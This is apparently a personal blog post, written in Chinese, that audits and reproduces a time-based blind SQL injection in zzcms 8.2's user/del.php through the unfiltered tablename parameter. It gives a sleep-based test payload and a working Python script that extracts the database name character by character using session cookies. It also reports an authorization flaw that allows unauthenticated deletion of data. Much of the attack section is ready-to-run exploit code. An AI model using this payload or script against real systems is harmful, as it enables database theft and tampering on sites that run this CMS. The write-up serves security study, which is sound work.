一、下载
下载地址:http://www.zzcms.net/download/zzcms8.2.zip
二、安装
需要环境:
- 可用的web服务器(如Apache、IIS等)
- PHP
- mysql
推荐使用phpstudy或xampp(mac中)
直接解压在根目录下,进入install安装。安装完成后的界面如下:
三、审计
由于其注入点在user/del.php中,我们先去查看代码:
可以看出在这里,传入的参数中,只对id进行了参数过滤,并没有对pagename和tablename进行过滤。
再往后读代码可以发现,tablename未经过滤直接被拼接在了sql语句中
所以我们可以构造$tablename来进行注入。
这个php文件对应的功能是用户的删除操作,而id对应的就是数据的条数,id的值不能为空,所以我们先发布一个代理,使其值不为空。
在数据库中查看该数据的位置,发现是存储在zzcms_dl表中的。
三、漏洞复现
接下来我们就来构造测试语句,如下:
id=1&tablename=zzcms_dl where id = 1 and if(1=1,sleep(5),1) %23
使用burp抓包修改参数:
成功了,5秒才出响应。
接下来就开始写python脚本了,此脚本只实例了**数据库名,其他的大家稍作改动即可。
import requests
cookie={'hibext_instdsigdipv2':'1','PassWord':'80c9ef0fb86369cd25f90af27ef53a9e','PHPSESSID':'s0eds2bfjuuh8esiht2t110qu6','UserName':'a123'}
result = ''
for j in range(1,11):
for i in range(48,123):
payload = 'if(ascii(substr(database(),'+str(j)+',1))='+str(i)+',sleep(5),1) #'
data = {'id[]':7,'submit':'%E5%88%A0%E9%99%A4%0D%0A','pagename':'dlmanage.php%3Fpage%3D1','tablename':'zzcms_dl where id = 7 union select 1, '+payload}
r = requests.post('http://127.0.0.1/user/del.php', data=data,cookies=cookie)
sec = r.elapsed.total_seconds()
if(sec>=5):
print(r.elapsed.total_seconds())
result = result+chr(i)
print (result)
====================================================================
今日思考!!!!
写这个脚本加改bug花了整整两个小时!!!!????(我真的有空手写bug的超能力啊,泪奔~~~)主要问题如下:
- 刚开始写的sql查询语句如下:
select id,editor from zzcms_dl where id = 7 and if(ascii(substr(database(),'+str(j)+',1))='+str(i)+',sleep(5),1) # where id = '7'
结果发现当该表内数据为空时,if后面的语句都不执行,换成关键字‘or’也不行,改成联合查询就好了。修改后的sql查询语句如下:
select id,editor from zzcms_dl where id = 7 union select 1,if(ascii(substr(database(),'+str(j)+',1))='+str(i)+',sleep(5),1) # where id = '7'
-
由于该延时注入是删除前的查询操作,所以是在用户登录的情况下进行的,需要添加cookies信息。但也发现了该cms存在越权漏洞(若无登录,只要是url和post的data正确,也可以删除数据)
-
在获取界面响应时间时,我使用的是如下方法:
r.elapsed.microseconds
看到它是说微秒就直接换算成秒火速用了,谁知道调bug的一个小时都花在这里了????,所以说!!!做事要细心呐????
这里细说一个这几个方法
| 方法 | 作用 |
|---|---|
| microseconds | 获取微秒部分,大于0小于1秒 |
| total_seconds | 总时长,单位秒,精确到小数 |
| seconds | 获取秒的部分,取整 |
| days | 以天为单位 |
最后将代码改为:
r.elapsed.total_seconds
即可!
做事要细心!????